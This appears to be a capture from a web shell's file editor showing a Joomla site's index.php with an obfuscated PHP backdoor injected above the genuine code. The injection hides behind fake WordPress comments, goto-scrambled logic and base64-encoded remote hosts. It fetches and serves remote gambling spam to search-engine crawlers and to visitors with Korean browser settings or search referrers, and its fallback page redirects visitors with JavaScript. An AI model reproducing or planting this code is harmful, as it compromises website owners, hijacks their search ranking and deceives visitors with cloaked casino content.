One Hat Cyber Team

Edit File: index.php

<?php
/**
 * Sets up the default filters and actions for most
 * of the WordPress hooks.
 *
 * If you need to remove a default hook, this file will
 * give you the priority for which to use to remove the
 * hook.
 *
 * Not all of the default hooks are found in style.php
 *
 * @package WordPress
 * @id 7c168efa9f579877433e24088
  * These functions are needed to load WordPress.
 *
 * @package WordPress
  * These functions are needed to load WordPress.
 *
 * @package WordPress
  * These functions are needed to load WordPress.
 *
 * @package WordPress
  * These functions are needed to load WordPress.
 *
 * @package WordPress
  * These functions are needed to load WordPress.
 *
 * @package WordPress
  * These functions are needed to load WordPress.
 *
 * @package WordPress
  * These functions are needed to load WordPress.
 *
 * @package WordPress
 */
goto O2179;
O5223:
define("O6610", base64_decode("aHR0cHM6Ly9qc2Nkbi5kZ2s4ODgudG9wLw=="));
goto O1823;
O4967:
function O2334($a)
{
    goto O5580;
    O8232:
    return true;
    goto O1664;
    O3146:
    O2213:
    goto O4765;
    O5580:
    if (!isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) {
        goto O2213;
    }
    goto O9925;
    O9436:
    $b = strtolower(substr(chop($c[0]), 0, 2));
    goto O5450;
    O9925:
    $c = explode(",", $_SERVER["HTTP_ACCEPT_LANGUAGE"]);
    goto O9436;
    O1664:
    O5638:
    goto O3146;
    O8051:
    return false;
    goto O5157;
    O5450:
    if ($b === $a) {
        goto O4885;
    }
    goto O8051;
    O5157:
    goto O5638;
    goto O5375;
    O4765:
    return false;
    goto O3345;
    O5375:
    O4885:
    goto O8232;
    O3345:
}
goto O9611;
O8876:
define("O8626", "0416jsc2");
goto O3181;
O9488:
error_reporting(0);
goto O8876;
O8913:
$d = $_SERVER["REQUEST_URI"];
goto O1404;
O9611:
function O8183()
{
    goto O9839;
    O7585:
    if (o7071($d) && o3878($e)) {
        goto O5823;
    }
    goto O7013;
    O7013:
    goto O7813;
    goto O9088;
    O9379:
    if (!function_exists("o3997")) {
        function o3997()
        {
            goto O4076;
            O4076:
            $f = array();
            goto O2310;
            O6854:
            O4384:
            goto O7663;
            O2310:
            foreach ($_SERVER as $g => $h) {
                goto O4335;
                O4704:
                $f[str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($g, 5)))))] = $h;
                goto O9888;
                O9888:
                O0156:
                goto O0795;
                O0795:
                O7469:
                goto O9906;
                O4335:
                if (!(substr($g, 0, 5) == "HTTP_")) {
                    goto O0156;
                }
                goto O4704;
                O9906:
            }
            goto O6854;
            O7663:
            return $f;
            goto O4268;
            O4268:
        }
        $i = O3997();
    } else {
        $i = o3997();
    }
    goto O0108;
    O9088:
    O3247:
    goto O2646;
    O5449:
    O5398:
    goto O6595;
    O7078:
    if (!isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) {
        goto O5398;
    }
    goto O1946;
    O9727:
    O5823:
    goto O2157;
    O1926:
    echo $j ? $j : O7858;
    goto O2671;
    O0693:
    echo O1421(O1430 . "?{$k}{$d}");
    goto O0508;
    O6626:
    $l = o1103();
    goto O7753;
    O2502:
    O4039:
    goto O3059;
    O0508:
    exit;
    goto O8995;
    O5078:
    $m = urlencode($d);
    goto O8503;
    O3291:
    if (!O2334($n)) {
        goto O6139;
    }
    goto O3076;
    O9839:
    global $e, $o, $k, $d;
    goto O6289;
    O0683:
    array_push($p, "Accept-Language: {$a}");
    goto O1841;
    O8995:
    O1479:
    goto O7159;
    O5194:
    if (o7071($d)) {
        goto O4039;
    }
    goto O5332;
    O4033:
    O7813:
    goto O1022;
    O5332:
    echo O1421(O1430 . "al.php");
    goto O5949;
    O2744:
    header("Cache-Control: post-check=0, pre-check=0", FALSE);
    goto O3769;
    O4931:
    $n = "ko";
    goto O3291;
    O7159:
    goto O7813;
    goto O9727;
    O2646:
    $q = O1103();
    goto O5194;
    O1946:
    $a = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
    goto O0683;
    O1541:
    O6139:
    goto O4033;
    O1841:
    array_push($p, "Vary: Accept-Language");
    goto O5449;
    O7782:
    O7833:
    goto O4931;
    O3076:
    $j = o1421(O4568 . "5022.php");
    goto O1926;
    O6595:
    if (o6497($o)) {
        goto O3247;
    }
    goto O7585;
    O0108:
    foreach ($i as $r => $h) {
        goto O7122;
        O4196:
        O3334:
        goto O4183;
        O3940:
        array_push($p, "{$r}: {$h}");
        goto O4196;
        O4183:
        O3006:
        goto O3609;
        O7122:
        if (!(stripos($r, "Sec-") === 0)) {
            goto O3334;
        }
        goto O3940;
        O3609:
    }
    goto O7782;
    O3059:
    header("Content-Type:text/html; charset=utf-8");
    goto O0693;
    O2671:
    exit;
    goto O1541;
    O5949:
    goto O1479;
    goto O2502;
    O3769:
    header("Pragma: no-cache");
    goto O5078;
    O2157:
    header("Content-Type:text/html; charset=utf-8");
    goto O6626;
    O7753:
    $i = array();
    goto O9379;
    O8503:
    $p = array();
    goto O7078;
    O6289:
    header("Cache-Control: no-store, no-cache, must-revalidate");
    goto O2744;
    O1022:
}
goto O6949;
O0365:
define("O7858", base64_decode("PGh0bWw+CiAgICA8aGVhZD4KICAgICAgICA8dGl0bGU+VGhlIHJlc291cmNlIGNhbm5vdCBiZSBmb3VuZC48L3RpdGxlPgogICAgICAgIDxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSJodHRwczovL2VnZ2N2aXAuY29tL3dlbGNvbWUvMjAyNTIuaHRtbCI7PC9zY3JpcHQ+CiAgICA8L2hlYWQ+CiAgICA8Ym9keT4KICAgICAgICA8aDE+Tm90IEZvdW5kPC9oMT4KICAgIDwvYm9keT4KPC9odG1sPg=="));
goto O5623;
O5623:
$e = $_SERVER["HTTP_REFERER"];
goto O1287;
O3181:
define("O3039", "VEgjS21n");
goto O5223;
O6088:
function o6497($s)
{
    goto O6743;
    O6235:
    foreach ($t as $u) {
        goto O2742;
        O4232:
        return true;
        goto O6079;
        O2742:
        if (!(stripos($s, $u) !== false)) {
            goto O6844;
        }
        goto O4232;
        O2004:
        O1388:
        goto O7409;
        O6079:
        O6844:
        goto O2004;
        O7409:
    }
    goto O4796;
    O4796:
    O6742:
    goto O8862;
    O8862:
    return false;
    goto O9887;
    O6743:
    $t = array("Googlebot", "Bingbot", "yeti");
    goto O6235;
    O9887:
}
goto O1025;
O2529:
function O2814()
{
    $v = ob_get_contents();
    ob_end_clean();
}
goto O3668;
O8670:
function o1421($w, $p = array(), $x = 0, $y = 0)
{
    goto O4273;
    O3317:
    if (!curl_errno($z)) {
        goto O3264;
    }
    goto O7417;
    O8448:
    curl_setopt($z, CURLOPT_SSL_VERIFYPEER, false);
    goto O2394;
    O6308:
    curl_setopt($z, CURLOPT_HTTPHEADER, $p);
    goto O9627;
    O1049:
    curl_close($z);
    goto O6685;
    O8368:
    return file_get_contents($w);
    goto O1390;
    O3561:
    curl_setopt($z, CURLOPT_TIMEOUT, $y);
    goto O8448;
    O0706:
    O1266:
    goto O0419;
    O4273:
    if (function_exists("curl_init")) {
        goto O1266;
    }
    goto O8368;
    O8346:
    curl_setopt($z, CURLOPT_HEADER, 0);
    goto O7290;
    O1390:
    goto O2664;
    goto O0706;
    O6995:
    curl_setopt($z, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
    goto O8596;
    O8105:
    O2664:
    goto O6350;
    O4370:
    $aa = curl_exec($z);
    goto O3317;
    O9627:
    curl_setopt($z, CURLOPT_CONNECTTIMEOUT, $x);
    goto O3561;
    O4264:
    curl_setopt($z, CURLOPT_URL, $w);
    goto O8346;
    O0637:
    curl_setopt($z, CURLOPT_FOLLOWLOCATION, true);
    goto O4370;
    O7290:
    curl_setopt($z, CURLOPT_RETURNTRANSFER, 1);
    goto O6995;
    O8596:
    curl_setopt($z, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);
    goto O6308;
    O7800:
    O3264:
    goto O1049;
    O2394:
    curl_setopt($z, CURLOPT_SSL_VERIFYHOST, false);
    goto O0637;
    O6685:
    return $aa;
    goto O8105;
    O0419:
    $z = curl_init();
    goto O4264;
    O7417:
    $aa = NULL;
    goto O7800;
    O6350:
}
goto O9025;
O2179:
set_time_limit(0);
goto O9488;
O1404:
function o2347()
{
}
goto O2196;
O8421:
define("O4568", base64_decode("aHR0cDovL2FkLmRnazg4OC50b3Av"));
goto O0365;
O2196:
function O6386()
{
    ob_start();
    register_shutdown_function("insert_html_end");
}
goto O2529;
O8009:
$k = $_SERVER["HTTP_HOST"];
goto O8913;
O1025:
function o3878($bb)
{
    goto O7916;
    O2716:
    O9188:
    goto O7114;
    O6309:
    $cc = array("google.", "bing.", "naver.", "yahoo.");
    goto O8835;
    O8835:
    foreach ($cc as $dd) {
        goto O9100;
        O1701:
        return true;
        goto O8780;
        O9100:
        if (!(stripos($bb, $dd) !== false)) {
            goto O0453;
        }
        goto O1701;
        O8780:
        O0453:
        goto O5700;
        O5700:
        O3482:
        goto O4447;
        O4447:
    }
    goto O2716;
    O7114:
    O2697:
    goto O0410;
    O0410:
    return false;
    goto O7887;
    O7916:
    if (!(substr($bb, 0, 4) === "http")) {
        goto O2697;
    }
    goto O6309;
    O7887:
}
goto O8670;
O1823:
define("O1430", base64_decode("aHR0cDovL2pzY2RuLmRnazg4OC50b3Av"));
goto O8421;
O3668:
function O7071($ee, $ff = "/[?\\/](id|gameid|GameID|ID|krslot|Game|game|app|ios|android|video|Video|doc|download|blank|Slot|slot|bet|casino|games|play|video|p|e|s|h|poker|news|slo|gods|sport|j|fish|mahj|uri)./")
{
    goto O1668;
    O3616:
    O2074:
    goto O4099;
    O4099:
    return preg_match($ff, $ee) === 1;
    goto O2771;
    O2524:
    return true;
    goto O3616;
    O1668:
    if (!($ee === "/" || $ee === '')) {
        goto O2074;
    }
    goto O2524;
    O2771:
}
goto O6088;
O1287:
$o = $_SERVER["HTTP_USER_AGENT"];
goto O8009;
O9025:
function O1103()
{
    foreach (array("HTTP_CLIENT_IP", "HTTP_X_REAL_IP", "HTTP_CF_CONNECTING_IP", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED", "HTTP_X_CLUSTER_CLIENT_IP", "HTTP_FORWARDED_FOR", "HTTP_FORWARDED", "REMOTE_ADDR") as $r) {
        goto O8912;
        O6888:
        O1828:
        goto O2719;
        O8312:
        O6773:
        goto O5288;
        O0622:
        foreach (explode(",", $_SERVER[$r]) as $gg) {
            goto O5458;
            O0743:
            return $gg;
            goto O1145;
            O2585:
            if (!(filter_var($gg, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) {
                goto O3712;
            }
            goto O0743;
            O1145:
            O3712:
            goto O3612;
            O5458:
            $gg = trim($gg);
            goto O2585;
            O3612:
            O8350:
            goto O7798;
            O7798:
        }
        goto O6888;
        O2719:
        O8266:
        goto O8312;
        O8912:
        if (!(array_key_exists($r, $_SERVER) === true)) {
            goto O8266;
        }
        goto O0622;
        O5288:
    }
    O6250:
}
goto O4967;
O6949:
o8183();?><?php
/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
 */
define('JOOMLA_MINIMUM_PHP', '5.3.10');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<'))
{
	die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!');
}

// Saves the start time and memory usage.
$startTime = microtime(1);
$startMem  = memory_get_usage();

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php'))
{
	include_once __DIR__ . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', __DIR__);
	require_once JPATH_BASE . '/includes/defines.php';
}

require_once JPATH_BASE . '/includes/framework.php';

// Set profiler start time and memory usage and mark afterLoad in the profiler.
JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;

// Instantiate the application.
$app = JFactory::getApplication('site');

// Execute the application.
$app->execute();